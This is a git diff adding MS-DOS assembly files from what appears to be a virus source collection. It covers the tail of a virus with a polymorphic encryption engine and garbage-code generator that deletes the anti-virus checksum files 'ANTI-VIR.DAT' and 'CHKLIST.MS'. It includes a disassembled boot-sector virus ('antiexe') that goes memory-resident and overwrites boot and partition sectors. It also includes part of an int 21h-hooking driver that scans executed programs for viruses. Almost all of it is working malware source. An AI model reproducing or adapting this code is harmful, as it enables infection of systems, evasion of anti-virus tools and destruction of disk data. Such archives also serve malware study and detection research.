+;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with add instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_add: mov al,81h + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C22Bh ; sub ax,dx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with sub instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_sub: mov al,81h + mov ah,byte ptr ds:[si+01H] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C203h ; add ax,dx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with xor instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_xor: mov al,81h + mov ah,byte ptr ds:[si+02h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ax,word ptr ds:[eng_crypt_key] ; Key + stosw + mov ds:[crypt_reverse],0C233h ; xor ax,dx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with rol instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_rol: mov al,0D1h + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],0C8D1h ; ror ax,dx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with ror instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_ror: mov al,0D1h + mov ah,byte ptr ds:[si+03h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],0C0D1h ; sub ax,dx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with inc instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_inc: mov al,0FFh + mov ah,byte ptr ds:[si] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],9048h ; dec ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Do encryption with dec instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +crypt_dec: mov al,0FFh + mov ah,byte ptr ds:[si+03h] + stosw + mov ax,word ptr ds:[eng_displace] ; Disp + stosw + mov ds:[crypt_reverse],9040h ; inc ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using add reg,0002h │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_add0002h: mov al,83h + mov ah,byte ptr ds:[si+04h] + stosw + mov al,02h + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using sub reg,FFFEh │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_subFFFEh: mov al,83h + mov ah,byte ptr ds:[si+05h] + stosw + mov al,0FEh + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using inc reg + garbage + inc reg │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_inc_inc: call gen_inc_reg + call gen_garbage + call gen_inc_reg + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using inc reg + garbage + add reg,0001h │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_inc_add: call gen_inc_reg + call gen_garbage + call gen_add_0001h + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using add reg,0001h + garbage + inc reg │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_add_inc: call gen_add_0001h + call gen_garbage + call gen_inc_reg + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using inc reg + garbage + sub reg,FFFFh │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_inc_sub: call gen_inc_reg + call gen_garbage + call gen_sub_FFFFh + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using sub reg,FFFFh + garbage + inc reg │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_sub_inc: call gen_sub_FFFFh + call gen_garbage + call gen_inc_reg + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using add reg,0001h + garbage + add reg,0001h │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_add_add: call gen_add_0001h + call gen_garbage + call gen_add_0001h + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_sub_sub: call gen_sub_FFFFh + call gen_garbage + call gen_sub_FFFFh + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_add_sub: call gen_add_0001h + call gen_garbage + call gen_sub_FFFFh + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h │ +;└──────────────────────────────────────────────────────────────────────────┘ + +ptr_sub_add: call gen_sub_FFFFh + call gen_garbage + call gen_add_0001h + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate add reg,0001h │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_add_0001h: mov al,83h + mov ah,byte ptr ds:[si+04h] + stosw + mov al,01h + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate sub reg,FFFFh │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_sub_FFFFh: mov al,83h + mov ah,byte ptr ds:[si+05h] + stosw + mov al,0FFh + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate inc reg │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_inc_reg: mov al,byte ptr ds:[si+06h] + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate from 2 up to 5 garbage instructions │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_garbage: push si + inc byte ptr ds:[eng_recursive] + cmp byte ptr ds:[eng_recursive],03h + jae unable_2_gen + mov ax,0003h + call rand_in_range + inc ax + mov cx,ax +loop_gen: push cx + mov ax,(offset end_generator - offset generator_table)/02h + call rand_in_range + add ax,ax + mov si,offset generator_table + add si,ax + call word ptr ds:[si] + pop cx + loop loop_gen + pop si + ret +unable_2_gen: mov byte ptr ds:[eng_recursive],00h + call gen_one_byte + pop si + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate push/garbage/pop │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_xpushpop: call gen_one_push + call gen_garbage + call gen_one_pop + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate a conditional jump followed by some garbage code │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_cond_jump: call get_rnd + and al,07h + or al,70h + stosb + push di + inc di + call gen_garbage + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate push/pop pairs │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_push_pop: call gen_one_push + call gen_one_pop + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate push instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_one_push: mov ax,offset end_push - offset push_table + call rand_in_range + mov si,offset push_table + jmp short store_byte + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate pop instruction │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_one_pop: mov ax,offset end_pop - offset pop_table + call rand_in_range + mov si,offset pop_table + jmp short store_byte + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate one byte garbage │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table + call rand_in_range + mov si,offset one_byte_table + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Just store one byte from a table │ +;└──────────────────────────────────────────────────────────────────────────┘ + +store_byte: add si,ax + movsb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table + call rand_in_range + mov si,offset two_byte_table + call store_byte + mov ax,offset end_reg_reg - offset reg_reg_table + call rand_in_range + mov si,offset reg_reg_table + jmp short store_byte + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table + call rand_in_range + mov si,offset inm_01h_table + call store_byte + call get_rnd + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h + call rand_in_range + mov si,offset inm_02h_table + add ax,ax + add si,ax + movsw + call get_rnd + stosb + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Poly engine tables │ +;└──────────────────────────────────────────────────────────────────────────┘ + +gen_reg_table equ this byte +opcodes_si equ this byte + db 0BEh ; mov si,imm + db 84h ; add [si+nn],key + ; rol [si+nn],01h + ; inc [si+nn] + db 0ACh ; sub [si+nn],key + db 0B4h ; xor [si+nn],key + db 8Ch ; ror [si+nn],01h + ; dec [si+nn] + db 0C6h ; add si,imm + db 0EEh ; sub si,imm + db 46h ; inc si + db 0FEh ; cmp si,imm +opcodes_di equ this byte + db 0BFh ; mov di,imm + db 85h ; add [di+nn],key + ; rol [di+nn],01h + ; inc [di+nn] + db 0ADh ; sub [di+nn],key + db 0B5h ; xor [di+nn],key + db 8Dh ; ror [di+nn],01h + ; dec [di+nn] + db 0C7h ; add di,imm + db 0EFh ; sub di,imm + db 47h ; inc di + db 0FFh ; cmp di,imm +opcodes_bx equ this byte + db 0BBh ; mov bx,imm + db 87h ; add [bx+nn],key + ; rol [bx+nn],01h + ; inc [bx+nn] + db 0AFh ; sub [bx+nn],key + db 0B7h ; xor [bx+nn],key + db 8Fh ; ror [bx+nn],01h + ; dec [bx+nn] + db 0C3h ; add bx,imm + db 0EBh ; sub bx,imm + db 43h ; inc bx + db 0FBh ; cmp bx,imm +opcodes_bp equ this byte + db 0BDh ; mov bp,imm + db 86h ; add [bp+nn],key + ; rol [bp+nn],01h + ; inc [bp+nn] + db 0AEh ; sub [bp+nn],key + db 0B6h ; xor [bp+nn],key + db 8Eh ; ror [bp+nn],01h + ; dec [bp+nn] + db 0C5h ; add bp,imm + db 0EDh ; sub bp,imm + db 45h ; inc bp + db 0FDh ; cmp bp,imm +end_gen_reg equ this byte +crypt_table equ this byte + dw offset crypt_add + dw offset crypt_sub + dw offset crypt_xor + dw offset crypt_rol + dw offset crypt_ror + dw offset crypt_inc + dw offset crypt_dec +end_crypt equ this byte +inc_ptr_table equ this byte + dw offset ptr_add0002h + dw offset ptr_subFFFEh + dw offset ptr_inc_inc + dw offset ptr_inc_add + dw offset ptr_add_inc + dw offset ptr_inc_sub + dw offset ptr_sub_inc + dw offset ptr_add_add + dw offset ptr_sub_sub + dw offset ptr_add_sub + dw offset ptr_sub_add +end_inc_ptr equ this byte +opcodes_table equ this byte + dw offset opcodes_si + dw offset opcodes_di + dw offset opcodes_bx + dw offset opcodes_bp +end_opcodes equ this byte +generator_table equ this byte ; Garbage generators: + dw offset gen_one_byte ; One byte instr + dw offset gen_push_pop ; push+pop + dw offset gen_xpushpop ; push+garbage+pop + dw offset gen_reg_reg ; mov,add,sub,or... + dw offset gen_cond_jump ; cond jmp+garbage + dw offset gen_inm_01h ; Gen reg,imm + dw offset gen_inm_02h ; Gen reg,imm +end_generator equ this byte +push_table equ this byte ; Push generator + push ax + push bx + push cx + push dx + push si + push di + push bp + push sp + push cs + push ds + push es + push ss +end_push equ this byte +pop_table equ this byte ; Pop generator + pop ax + pop cx + pop dx +end_pop equ this byte +one_byte_table equ this byte ; One byte instrs + aaa + aas + cbw + clc + cld + cmc + cwd + daa + das + dec ax + dec cx + dec dx + inc ax + inc cx + inc dx + int 03h + nop + stc + std +end_one_byte equ this byte +two_byte_table equ this byte + db 8Ah ; mov reg8,reg8 + db 8Bh ; mov reg16,reg16 + db 02h ; add reg8,reg8 + db 03h ; add reg16,reg16 + db 2Ah ; sub reg8,reg8 + db 2Bh ; sub reg16,reg16 + db 12h ; adc reg8,reg8 + db 13h ; adc reg16,reg16 + db 1Ah ; sbb reg8,reg8 + db 1Bh ; sbb reg16,reg16 + db 32h ; xor reg8,reg8 + db 33h ; xor reg16,reg16 + db 22h ; and reg8,reg8 + db 23h ; and reg16,reg16 + db 0Ah ; or reg8,reg8 + db 0Bh ; or reg16,reg16 +end_two_byte equ this byte +reg_reg_table equ this byte + db 0C0h + db 0C1h + db 0C2h + db 0C3h + db 0C4h + db 0C5h + db 0C6h + db 0C7h + db 0C0h + db 0C1h + db 0C2h + db 0C3h + db 0C4h + db 0C5h + db 0C6h + db 0C7h +end_reg_reg equ this byte +inm_01h_table equ this byte + db 0B0h ; mov al,imm + db 0B4h ; mov ah,imm + db 0B2h ; mov dl,imm + db 0B6h ; mov dh,imm + db 04h ; add al,imm + db 2Ch ; sub al,imm + db 14h ; adc al,imm + db 1Ch ; sbb al,imm + db 34h ; xor al,imm + db 0Ch ; or al,01h + db 24h ; and al,imm +end_inm_01h equ this byte +inm_02h_table equ this byte + db 80h,0C4h ; add ah,1C + db 80h,0C2h ; add dl,1C + db 80h,0C6h ; add dh,1C + db 80h,0ECh ; sub ah,1C + db 80h,0EAh ; sub dl,1C + db 80h,0EEh ; sub dh,1C + db 80h,0D4h ; adc ah,1C + db 80h,0D2h ; adc dl,1C + db 80h,0D6h ; adc dh,1C + db 80h,0DCh ; sbb ah,1C + db 80h,0DAh ; sbb dl,1C + db 80h,0DEh ; sbb dh,1C + db 80h,0F4h ; xor ah,1C + db 80h,0F2h ; xor dl,1C + db 80h,0F6h ; xor dh,1C + db 80h,0CCh ; or ah,1C + db 80h,0CAh ; or dl,1C + db 80h,0CEh ; or dh,1C + db 80h,0E4h ; and ah,1C + db 80h,0E2h ; and dl,1C + db 80h,0E6h ; and dh,1C + db 83h,0E2h ; and dx,0000 + db 83h,0C2h ; add dx,0000 + db 83h,0CAh ; or dx,0000 + db 83h,0F2h ; xor dx,0000 + db 83h,0DAh ; sbb dx,0000 + db 83h,0D2h ; adc dx,0000 + db 83h,0EAh ; sub dx,0000 +end_inm_02h equ this byte + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ File names to delete inside the int 21h level encryption │ +;└──────────────────────────────────────────────────────────────────────────┘ + +del_this_shit01 db "ANTI-VIR.DAT",00h +del_this_shit02 db "CHKLIST.MS",00h + dd 00000000h +end_area03h equ this byte + dd 00000000h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Memory allocation routine │ +;│ On entry: │ +;│ SI -> number of paragraphs to allocate │ +;│ On exit: │ +;│ DI -> allocated base address (0000h if error) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +mem_alloc: xor di,di ; Error flag + mov ax,5800h ; Get and save memory + int 21h ; allocation strategy + jnc mem_ok_1 + ret +mem_ok_1: push ax + mov ax,5801h ; Set new allocation + mov bx,0080h ; strategy to first + int 21h ; fit high then low +mem_ok_2: mov ax,5802h ; Get and save UMB + int 21h ; link state + jc mem_error_1 + xor ah,ah + push ax + mov ax,5803h ; UMB link state on + mov bx,0001h + int 21h + mov ah,48h ; Allocate memory + mov bx,si + int 21h + jc mem_error_2 + mov di,ax +mem_error_2: mov ax,5803h ; Restore UMB + pop bx ; link state + int 21h +mem_error_1: mov ax,5801h ; Restore allocation + pop bx ; strategy + int 21h + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Timer-based random number generator │ +;└──────────────────────────────────────────────────────────────────────────┘ + +get_rnd: push cx + in ax,40h ; Get a random number + mov cl,al ; using the timer + xor al,ah ; port + xor ah,cl + xor ax,word ptr cs:[randomize] + mov word ptr cs:[randomize],ax + pop cx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate a 16bit random number │ +;└──────────────────────────────────────────────────────────────────────────┘ +rand_16: push bx + call get_rnd ; Get a 16bit random + mov bl,al ; number using our + call get_rnd ; 8bit rnd generator + mov bh,al + call get_rnd + xor bl,al + call get_rnd + xor bh,al + xchg bx,ax + pop bx + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Generate a random number between 0 and AX │ +;└──────────────────────────────────────────────────────────────────────────┘ + +rand_in_range: push bx ; Returns a random + push dx ; number between 0 and + xchg ax,bx ; the entry in AX + call get_rnd + xor dx,dx + div bx + xchg ax,dx ; Reminder in DX + pop dx + pop bx + ret + dd 00000000h +end_area02h equ this byte + dd 00000000h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Return the al vector in ES:BX │ +;└──────────────────────────────────────────────────────────────────────────┘ + +get_int: push ax + xor ah,ah + rol ax,1 + rol ax,1 + xchg bx,ax + xor ax,ax + mov es,ax + les bx,dword ptr es:[bx+00h] + pop ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Set al interrupt vector to DS:DX │ +;└──────────────────────────────────────────────────────────────────────────┘ + +set_int: push ax + push bx + push ds + cli + xor ah,ah + rol ax,1 + rol ax,1 + xchg ax,bx + push ds + xor ax,ax + mov ds,ax + mov word ptr ds:[bx+00h],dx + pop word ptr ds:[bx+02h] + sti + pop ds + pop bx + pop ax + ret + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Save all the registers in the stack │ +;└──────────────────────────────────────────────────────────────────────────┘ + +push_all: cli + pop word ptr cs:[ret_push] + pushf + push ax + push bx + push cx + push dx + push bp + push si + push di + push es + push ds + push word ptr cs:[ret_push] + sti + ret +ret_push dw 0000h ; Caller address + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Restore all the registers from the stack │ +;└──────────────────────────────────────────────────────────────────────────┘ + +pop_all: cli + pop word ptr cs:[ret_pop] + pop ds + pop es + pop di + pop si + pop bp + pop dx + pop cx + pop bx + pop ax + popf + push word ptr cs:[ret_pop] + sti + ret +ret_pop dw 0000h ; Caller address + dd 00000000h +end_area01h equ this byte + dd 00000000h + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus buffers (inserted into infections) │ +;└──────────────────────────────────────────────────────────────────────────┘ + +old_header db 1Ch dup (00h) ; Old file header + dd 00000000h +virus_inf_end equ this byte + +;┌──────────────────────────────────────────────────────────────────────────┐ +;│ Virus data buffer (not inserted into infections) │ +;└──────────────────────────────────────────────────────────────────────────┘ + + dd 00000000h +use_close db 00h +use_terminate db 00h +eng_recursive db 00h +eng_loop_point dw 0000h +eng_crypt_key dw 0000h +eng_displace dw 0000h +eng_entry_point dw 0000h +eng_init_ptr dw 0000h +eng_cmp_ptr dw 0000h +eng_exit_jmp dw 0000h +randomize dw 0000h ; Seed for random numbers +file_attr dw 0000h ; Original file attribute +file_date dw 0000h ; File date +file_time dw 0000h ; ... and time +file_size dd 00000000h ; Size of file to infect +inf_header db 1Ch dup (00h) ; Infected header +exec_filename db 80h dup (00h) ; File to infect +open_filename db 80h dup (00h) ; File to infect +delete_path db 80h dup (00h) ; File to delete +dropper_name db 0Eh dup (00h) ; Dropper file name +virus_mem_end equ this byte + +anti_eta ends + end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.antiexe.asm b/MSDOS/Virus.MSDOS.Unknown.antiexe.asm new file mode 100644 index 00000000..a5ff3636 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antiexe.asm @@ -0,0 +1,285 @@ +target EQU 'T2' ; Target assembler: TASM-2.X + +include srmacros.inc + + +; The following equates show data references outside the range of the program. + +data_1e equ 4Ch +data_3e equ 34Ch +data_4e equ 34Eh +data_5e equ 413h +data_6e equ 46Ch +data_7e equ 7C00h ;* +data_8e equ 4 +data_9e equ 6 +data_10e equ 30h +data_11e equ 200h ;* +data_12e equ 3BEh ;* +data_13e equ 3701h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +antiexe proc far + +start: + jmp loc_8 + ;* No entry point to code + dec bp +;* pop cs ; Dangerous-8088 only + db 0Fh ; Fixup - byte match + add [bx+di],al + push sp + xor ch,ds:data_10e + add al,[bx+di] + add [bx+si],ax + add ah,al + add [bx+si+0Bh],al + lock or [bx+si],ax + adc al,[bx+si] + add al,[bx+si] + add [bx+si],al + dec bp + pop dx + inc ax + add ds:data_13e[bx+si],cl +;* pop cs ; Dangerous-8088 only + db 0Fh ; Fixup - byte match + loopnz $-7Eh ; Loop if zf=0, cx>0 + + cld ; Clear direction + stc ; Set carry flag + jz loc_ret_5 ; Jump if zero + mov word ptr cs:[7],ax + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_5 ; Jump if carry Set + pushf ; Push flags + cmp byte ptr cs:[8],2 + jne loc_4 ; Jump if not equal + push cx + push si + push di + push ds + sub cx,cx + mov ds,cx + test byte ptr ds:data_6e,3 + jz loc_3 ; Jump if zero + push cs + pop ds + mov di,bx +loc_1: +;* lea si,ds:[1Eh] ; Load effective addr + db 8Dh, 36h, 1Eh, 00h ; Fixup - byte match + mov cx,8 + push di + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + jz loc_2 ; Jump if zero + add di,data_11e + dec byte ptr cs:[7] + jnz loc_1 ; Jump if not zero + jmp short loc_3 + db 90h +loc_2: + stosb ; Store al to es:[di] +loc_3: + pop ds + pop di + pop si + pop cx + cmp cx,1 + jne loc_4 ; Jump if not equal + cmp dh,0 + jne loc_4 ; Jump if not equal + call sub_1 +loc_4: + popf ; Pop flags + +loc_ret_5: + retf 2 ; Return far + +antiexe endp + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_1 proc near + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push es + pop ds + mov ax,word ptr cs:[0] + cmp ax,[bx] + jne loc_6 ; Jump if not equal + mov ax,word ptr cs:[2] + cmp ax,[bx+2] + jne loc_6 ; Jump if not equal + mov cx,ds:data_8e[bx] + mov dh,ds:data_9e[bx] + mov ax,201h + int 0D3h ; ??INT Non-standard interrupt + jmp short loc_7 +loc_6: + cmp dl,1 + ja loc_7 ; Jump if above + mov ax,[bx+16h] + mul byte ptr [bx+10h] ; ax = data * al + add ax,[bx+0Eh] + push dx + mov cl,4 + mov dx,[bx+11h] + shr dx,cl ; Shift w/zeros fill + add ax,dx + dec ax + mov cx,[bx+18h] + push cx + shl cx,1 ; Shift w/zeros fill + sub dx,dx + div cx ; ax,dx rem=dx:ax/reg + pop cx + push ax + mov ax,dx + sub dx,dx + div cx ; ax,dx rem=dx:ax/reg + mov dh,al + mov cl,dl + pop ax + mov ch,al + inc cl + pop ax + mov dl,al + mov byte ptr cs:[6],dh + mov word ptr cs:[4],cx + mov ax,301h + int 0D3h ; ??INT Non-standard interrupt + jc loc_7 ; Jump if carry Set + push cs + pop es + cld ; Clear direction + mov di,7 + mov si,bx + add si,di + mov cx,17h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + xor bx,bx ; Zero register + mov cx,1 + sub dh,dh + int 0D3h ; ??INT Non-standard interrupt +loc_7: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_1 endp + +loc_8: + xor di,di ; Zero register + mov ds,di + les dx,dword ptr ds:data_1e ; Load 32 bit ptr + mov ds:data_3e,dx + mov ds:data_4e,es + cli ; Disable interrupts + mov ss,di + mov si,data_7e + mov sp,si + sti ; Enable interrupts + push ds + push si + push si + mov ax,ds:data_5e + dec ax + mov ds:data_5e,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov word ptr ds:data_1e+2,ax + mov word ptr ds:data_1e,27h + push ax + mov ax,155h + push ax + mov cx,100h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + retf + ;* No entry point to code + xor ax,ax ; Zero register + mov es,ax + int 0D3h ; ??INT Non-standard interrupt + push cs + pop ds + mov ax,201h + pop bx + mov cx,word ptr ds:[4] + cmp cx,0Dh + jne loc_10 ; Jump if not equal + mov dx,80h + int 0D3h ; ??INT Non-standard interrupt + +loc_ret_9: + retf ; Return far +loc_10: + sub dx,dx + mov dh,ds:data_9e + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_9 ; Jump if carry Set + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 0D3h ; ??INT Non-standard interrupt + jc loc_ret_9 ; Jump if carry Set + xor si,si ; Zero register + lodsw ; String [si] to ax + cmp ax,[bx] + jne loc_11 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,[bx+2] + je loc_ret_9 ; Jump if equal +loc_11: + mov cx,0Dh + mov ds:data_8e,cx + mov ax,301h + push ax + int 0D3h ; ??INT Non-standard interrupt + pop ax + jc loc_ret_9 ; Jump if carry Set + mov si,data_12e + mov di,offset data_21 + mov cx,21h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + inc cx + sub bx,bx + mov ds:data_9e,dh + int 0D3h ; ??INT Non-standard interrupt + retf ; Return far +data_21 db 80h + db 01h, 01h, 00h, 06h, 0Eh,0DCh + db 0DCh, 1Ch, 00h, 00h, 00h, 78h + db 56h, 06h + db 49 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.antig.asm b/MSDOS/Virus.MSDOS.Unknown.antig.asm new file mode 100644 index 00000000..61cb602a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.antig.asm @@ -0,0 +1,427 @@ +.286 +.model small +include push.mac +.code + +assume cs:_TEXT,ds:_TEXT + + org 000h +next_dev dd 0FFFFFFFFh +devatt dw 8000h + dw offset strategy + dw offset interrupt +nam db 'antigame' + +start proc far + + +old_si dw 0 +old_bx dw 0 +old_cx dw 0 +old_dx dw 0 +es_main dw 0 +num_ff dw 0 +last_pag dw 0 +viroff dw 0 +cnt db 0 +count db 0 +scan_seg dw 0 +mes db 'Found !','$' +filnm db 15 dup(0) +buffer db 'NCMAIN.EXE',0h,0h,0h,0h,0h + db 'QA.COM', + db 64 dup (0) + +include datagame.inc + + +int_21h_entry: + + pushf ; Push flags + sti ; Enable interrupts + cmp ah,4Bh ; + je loc_25 ; Jump if equal + +loc_24: + popf ; Pop flags + db 0EAh +old_21h_off dw ? +old_21h_seg dw ? + + +loc_25: + cmp cs:cnt, 0 + jne loc_204 + inc cs:cnt + jmp loc_24 +loc_204: + mov cs:old_bx,bx + push ax + push cx + push di + push es + push ds + push si + push dx + + mov si,dx +loc_205: + inc si + cmp byte ptr ds:[si],0 + jne loc_205 + mov bh,0 +loc_206: + inc bh + dec si + cmp byte ptr ds:[si],'\' + jne loc_206 + inc si + dec bh + push cs + pop es + xor cx,cx + mov bl,-1 +loc_94: + inc bl + lea di,cs:buffer + mov ax,15 + mul bl + add di,ax + push si + mov cl,bh + rep cmpsb + pop si + je loc_57 + cmp bl,4 + jne loc_94 + jmp short loc_95 + +loc_57: + mov byte ptr cs:count,0 + jmp loc_fin + +loc_95: + mov cl,bh + lea di,cs:filnm + repne movsb + sub si,3 + cmp word ptr ds:[si],'XE' + jne loc_47 + lea ax,cs:only_exe + mov byte ptr bl,cs:only_exe_count + jmp short loc_files + +loc_47: + cmp word ptr ds:[si],'OC' + je loc_79 + lea ax,cs:ov_pi + mov byte ptr bl,cs:ov_pi_count + jmp short loc_files + +loc_79: + lea ax,cs:com_exe + mov byte ptr bl,cs:com_exe_count + +loc_files: + + mov cs:viroff,ax + mov byte ptr cs:count,bl + + mov ah,3dh + xor al,al + int 21h ; file is open for reading + jc loc_fin + + mov bx,ax + mov ah,42h + xor cx,cx + mov dx,cx + mov al,2 + int 21h ; seek to the end + + mov cs:num_ff,dx ; save number of 64k + mov cs:last_pag,ax ; save length of last page + + mov ah,3eh + int 21h ; close the file + +loc_fin: + pop dx + pop si + pop ds + pop es + pop di + pop cx + pop ax + cmp al,0 + jne lc_en + jmp short loc_en +lc_en: + mov bx,cs:old_bx + mov word ptr bx,es:[bx] + mov word ptr cs:scan_seg,bx + popf + pop cs:old_ovl_off + pop cs:old_ovl_seg + push cs + push offset cs:fal_ovl + pushf + +loc_en: + mov bx,cs:old_bx + jmp loc_24 + +fal_ovl: + pushf + push es + push ds + push ax + + mov dx,cs:scan_seg + push cs + pop ds + call scanvir + pop ax + jnc loc_nvi + call message + mov di,cs:old_ovl_seg + mov es,di + mov di,cs:old_ovl_off + mov es:[di],21cdh + mov ah,4ch +loc_nvi: + pop ds + pop es + popf + db 0EAh +old_ovl_off dw ? +old_ovl_seg dw ? + + +message: + mov dx,si + mov ah,09h + int 21h + lea dx,mes + 